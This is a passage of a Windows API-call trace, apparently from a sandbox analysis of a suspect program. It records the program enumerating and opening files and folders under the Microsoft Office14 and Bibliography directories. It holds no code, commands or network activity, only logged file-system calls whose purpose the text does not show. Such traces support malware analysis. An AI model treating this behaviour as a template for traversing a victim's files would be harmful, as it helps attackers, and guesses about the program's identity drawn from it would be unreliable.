hFindFile=0x60d0a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b828500, ftCreationTime.dwHighDateTime=0x1ca9120, ftLastAccessTime.dwLowDateTime=0x5f409670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1b828500, ftLastWriteTime.dwHighDateTime=0x1ca9120, nFileSizeHigh=0x0, nFileSizeLow=0x10d88, dwReserved0=0x0, dwReserved1=0x0, cFileName="AUTHZAX.DLL", cAlternateFileName="")) returned 1 [0069.699] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d39f900, ftCreationTime.dwHighDateTime=0x1cac1f4, ftLastAccessTime.dwLowDateTime=0x66293410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1d39f900, ftLastWriteTime.dwHighDateTime=0x1cac1f4, nFileSizeHigh=0x0, nFileSizeLow=0xc380, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCSAutogen.dll", cAlternateFileName="")) returned 1 [0069.699] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d39f900, ftCreationTime.dwHighDateTime=0x1cac1f4, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1d39f900, ftLastWriteTime.dwHighDateTime=0x1cac1f4, nFileSizeHigh=0x0, nFileSizeLow=0x9b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCSClient.Msg.dll", cAlternateFileName="")) returned 1 [0069.699] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1067d600, ftCreationTime.dwHighDateTime=0x1cac1f1, ftLastAccessTime.dwLowDateTime=0x5178e0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1067d600, ftLastWriteTime.dwHighDateTime=0x1cac1f1, nFileSizeHigh=0x0, nFileSizeLow=0x6886, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCSClientManifest.man", cAlternateFileName="")) returned 1 [0069.699] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd44f00, ftCreationTime.dwHighDateTime=0x1cac1f1, ftLastAccessTime.dwLowDateTime=0x5178e0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcd44f00, ftLastWriteTime.dwHighDateTime=0x1cac1f1, nFileSizeHigh=0x0, nFileSizeLow=0x8d51, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCSEvents.man", cAlternateFileName="")) returned 1 [0069.699] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c6a8100, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0x67a61010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2c6a8100, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0x11380, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCSLaunch.dll", cAlternateFileName="")) returned 1 [0069.699] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4052c000, ftCreationTime.dwHighDateTime=0x1cac269, ftLastAccessTime.dwLowDateTime=0x575e0870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4052c000, ftLastWriteTime.dwHighDateTime=0x1cac269, nFileSizeHigh=0x0, nFileSizeLow=0x21980, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCSProxy.dll", cAlternateFileName="")) returned 1 [0069.699] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4183ed00, ftCreationTime.dwHighDateTime=0x1cac269, ftLastAccessTime.dwLowDateTime=0x568a2e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4183ed00, ftLastWriteTime.dwHighDateTime=0x1cac269, nFileSizeHigh=0x0, nFileSizeLow=0x95d80, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCSRuntime.dll", cAlternateFileName="")) returned 1 [0069.699] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d39f900, ftCreationTime.dwHighDateTime=0x1cac1f4, ftLastAccessTime.dwLowDateTime=0x67a3aeb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1d39f900, ftLastWriteTime.dwHighDateTime=0x1cac1f4, nFileSizeHigh=0x0, nFileSizeLow=0x3780, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCSRuntimeUI.dll", cAlternateFileName="")) returned 1 [0069.699] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4183ed00, ftCreationTime.dwHighDateTime=0x1cac269, ftLastAccessTime.dwLowDateTime=0x6b22b3b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4183ed00, ftLastWriteTime.dwHighDateTime=0x1cac269, nFileSizeHigh=0x0, nFileSizeLow=0x28f80, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCSStr32.dll", cAlternateFileName="")) returned 1 [0069.699] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4183ed00, ftCreationTime.dwHighDateTime=0x1cac269, ftLastAccessTime.dwLowDateTime=0x5812f0f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4183ed00, ftLastWriteTime.dwHighDateTime=0x1cac269, nFileSizeHigh=0x0, nFileSizeLow=0x1b780, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCSSync.exe", cAlternateFileName="")) returned 1 [0069.699] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x457bf900, ftCreationTime.dwHighDateTime=0x1cac036, ftLastAccessTime.dwLowDateTime=0x5f61e9b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x457bf900, ftLastWriteTime.dwHighDateTime=0x1cac036, nFileSizeHigh=0x0, nFileSizeLow=0x65ab, dwReserved0=0x0, dwReserved1=0x0, cFileName="bdcmetadata.xsd", cAlternateFileName="")) returned 1 [0069.699] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x457bf900, ftCreationTime.dwHighDateTime=0x1cac036, ftLastAccessTime.dwLowDateTime=0x5197d290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x457bf900, ftLastWriteTime.dwHighDateTime=0x1cac036, nFileSizeHigh=0x0, nFileSizeLow=0x3321, dwReserved0=0x0, dwReserved1=0x0, cFileName="bdcmetadataresource.xsd", cAlternateFileName="")) returned 1 [0069.699] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51422110, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5f409670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f409670, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bibliography", cAlternateFileName="")) returned 1 [0069.699] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.699] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography" (normalized: "c:\\program files\\microsoft office\\office14\\bibliography"), fInfoLevelId=0x0, lpFileInformation=0x174f108 | out: lpFileInformation=0x174f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51422110, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5f409670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f409670, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.700] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography" (normalized: "c:\\program files\\microsoft office\\office14\\bibliography"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xec [0069.700] SetFileTime (hFile=0xec, lpCreationTime=0x0, lpLastAccessTime=0x174f14c, lpLastWriteTime=0x174f14c) returned 0 [0069.701] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0x107ba48 [0069.701] DeviceIoControl (in: hDevice=0xec, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x107ba48, nOutBufferSize=0x4000, lpBytesReturned=0x174f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x107ba48, lpBytesReturned=0x174f1a4, lpOverlapped=0x0) returned 0 [0069.701] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107ba48) returned 1 [0069.701] NtClose (Handle=0xec) returned 0x0 [0069.701] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.701] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.701] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10663d0 [0069.701] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.701] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\*", fInfoLevelId=0x1, lpFindFileData=0x174ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ef54) returned 0x60d1a0 [0069.705] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51422110, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5f409670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f409670, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.705] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21181300, ftCreationTime.dwHighDateTime=0x1c6a343, ftLastAccessTime.dwLowDateTime=0x51767f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21181300, ftLastWriteTime.dwHighDateTime=0x1c6a343, nFileSizeHigh=0x0, nFileSizeLow=0x7925, dwReserved0=0x0, dwReserved1=0x0, cFileName="Author2String.XSL", cAlternateFileName="")) returned 1 [0069.705] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066700 [0069.705] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066700) returned 1 [0069.705] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066700 [0069.705] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066700) returned 1 [0069.705] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066700 [0069.705] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1054928 [0069.706] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10663d0) returned 1 [0069.706] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x106f158 [0069.706] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1077630 [0069.706] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066700) returned 1 [0069.706] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21181300, ftCreationTime.dwHighDateTime=0x1c6a343, ftLastAccessTime.dwLowDateTime=0x5f409670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21181300, ftLastWriteTime.dwHighDateTime=0x1c6a343, nFileSizeHigh=0x0, nFileSizeLow=0xfe6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Author2XML.XSL", cAlternateFileName="")) returned 1 [0069.706] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066700 [0069.706] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066700) returned 1 [0069.706] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066700 [0069.706] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066700) returned 1 [0069.706] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066700 [0069.706] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x106f178 [0069.706] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1077738 [0069.706] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066700) returned 1 [0069.706] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51767f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x70c9f7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x70c9f7b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sort", cAlternateFileName="")) returned 1 [0069.706] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51422110, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69c4c990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69c4c990, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Style", cAlternateFileName="")) returned 1 [0069.706] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51422110, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69c4c990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69c4c990, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Style", cAlternateFileName="")) returned 0 [0069.706] GetLastError () returned 0x12 [0069.706] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\*", fInfoLevelId=0x1, lpFindFileData=0x174ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ef54) returned 0x60d260 [0069.706] FindClose (in: hFindFile=0x60d1a0 | out: hFindFile=0x60d1a0) returned 1 [0069.707] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51422110, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5f409670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f409670, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.707] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21181300, ftCreationTime.dwHighDateTime=0x1c6a343, ftLastAccessTime.dwLowDateTime=0x51767f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21181300, ftLastWriteTime.dwHighDateTime=0x1c6a343, nFileSizeHigh=0x0, nFileSizeLow=0x7925, dwReserved0=0x0, dwReserved1=0x0, cFileName="Author2String.XSL", cAlternateFileName="")) returned 1 [0069.707] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21181300, ftCreationTime.dwHighDateTime=0x1c6a343, ftLastAccessTime.dwLowDateTime=0x5f409670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21181300, ftLastWriteTime.dwHighDateTime=0x1c6a343, nFileSizeHigh=0x0, nFileSizeLow=0xfe6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Author2XML.XSL", cAlternateFileName="")) returned 1 [0069.707] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51767f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x70c9f7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x70c9f7b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sort", cAlternateFileName="")) returned 1 [0069.707] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066700 [0069.707] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Sort" (normalized: "c:\\program files\\microsoft office\\office14\\bibliography\\sort"), fInfoLevelId=0x0, lpFileInformation=0x174ee50 | out: lpFileInformation=0x174ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51767f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x70c9f7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x70c9f7b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.707] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Sort" (normalized: "c:\\program files\\microsoft office\\office14\\bibliography\\sort"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xec [0069.707] SetFileTime (hFile=0xec, lpCreationTime=0x0, lpLastAccessTime=0x174ee94, lpLastWriteTime=0x174ee94) returned 0 [0069.707] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0x107ba48 [0069.707] DeviceIoControl (in: hDevice=0xec, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x107ba48, nOutBufferSize=0x4000, lpBytesReturned=0x174eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x107ba48, lpBytesReturned=0x174eeec, lpOverlapped=0x0) returned 0 [0069.707] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107ba48) returned 1 [0069.707] NtClose (Handle=0xec) returned 0x0 [0069.708] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066700) returned 1 [0069.708] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066700 [0069.708] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10663d0 [0069.708] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066ab8 [0069.708] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Sort\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d1a0 [0069.708] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51767f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x70c9f7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x70c9f7b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.708] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xff9cb700, ftCreationTime.dwHighDateTime=0x1c6a86d, ftLastAccessTime.dwLowDateTime=0x51767f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xff9cb700, ftLastWriteTime.dwHighDateTime=0x1c6a86d, nFileSizeHigh=0x0, nFileSizeLow=0x8b62, dwReserved0=0x0, dwReserved1=0x0, cFileName="AUTHOR.XSL", cAlternateFileName="")) returned 1 [0069.708] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066b40 [0069.708] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066b40) returned 1 [0069.708] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066b40 [0069.708] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066b40) returned 1 [0069.708] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066b40 [0069.708] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1077840 [0069.708] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10663d0) returned 1 [0069.708] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x106f198 [0069.708] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1077948 [0069.709] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066b40) returned 1 [0069.709] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xff9cb700, ftCreationTime.dwHighDateTime=0x1c6a86d, ftLastAccessTime.dwLowDateTime=0x5aca0270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xff9cb700, ftLastWriteTime.dwHighDateTime=0x1c6a86d, nFileSizeHigh=0x0, nFileSizeLow=0x8a54, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAG.XSL", cAlternateFileName="")) returned 1 [0069.709] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066b40 [0069.709] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066b40) returned 1 [0069.709] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xff9cb700, ftCreationTime.dwHighDateTime=0x1c6a86d, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xff9cb700, ftLastWriteTime.dwHighDateTime=0x1c6a86d, nFileSizeHigh=0x0, nFileSizeLow=0x8c3e, dwReserved0=0x0, dwReserved1=0x0, cFileName="TITLE.XSL", cAlternateFileName="")) returned 1 [0069.709] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xff9cb700, ftCreationTime.dwHighDateTime=0x1c6a86d, ftLastAccessTime.dwLowDateTime=0x70c9f7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xff9cb700, ftLastWriteTime.dwHighDateTime=0x1c6a86d, nFileSizeHigh=0x0, nFileSizeLow=0x8bee, dwReserved0=0x0, dwReserved1=0x0, cFileName="YEAR.XSL", cAlternateFileName="")) returned 1 [0069.709] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xff9cb700, ftCreationTime.dwHighDateTime=0x1c6a86d, ftLastAccessTime.dwLowDateTime=0x70c9f7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xff9cb700, ftLastWriteTime.dwHighDateTime=0x1c6a86d, nFileSizeHigh=0x0, nFileSizeLow=0x8bee, dwReserved0=0x0, dwReserved1=0x0, cFileName="YEAR.XSL", cAlternateFileName="")) returned 0 [0069.709] GetLastError () returned 0x12 [0069.709] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Sort\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d120 [0069.709] FindClose (in: hFindFile=0x60d1a0 | out: hFindFile=0x60d1a0) returned 1 [0069.709] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51767f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x70c9f7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x70c9f7b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.709] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xff9cb700, ftCreationTime.dwHighDateTime=0x1c6a86d, ftLastAccessTime.dwLowDateTime=0x51767f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xff9cb700, ftLastWriteTime.dwHighDateTime=0x1c6a86d, nFileSizeHigh=0x0, nFileSizeLow=0x8b62, dwReserved0=0x0, dwReserved1=0x0, cFileName="AUTHOR.XSL", cAlternateFileName="")) returned 1 [0069.709] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xff9cb700, ftCreationTime.dwHighDateTime=0x1c6a86d, ftLastAccessTime.dwLowDateTime=0x5aca0270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xff9cb700, 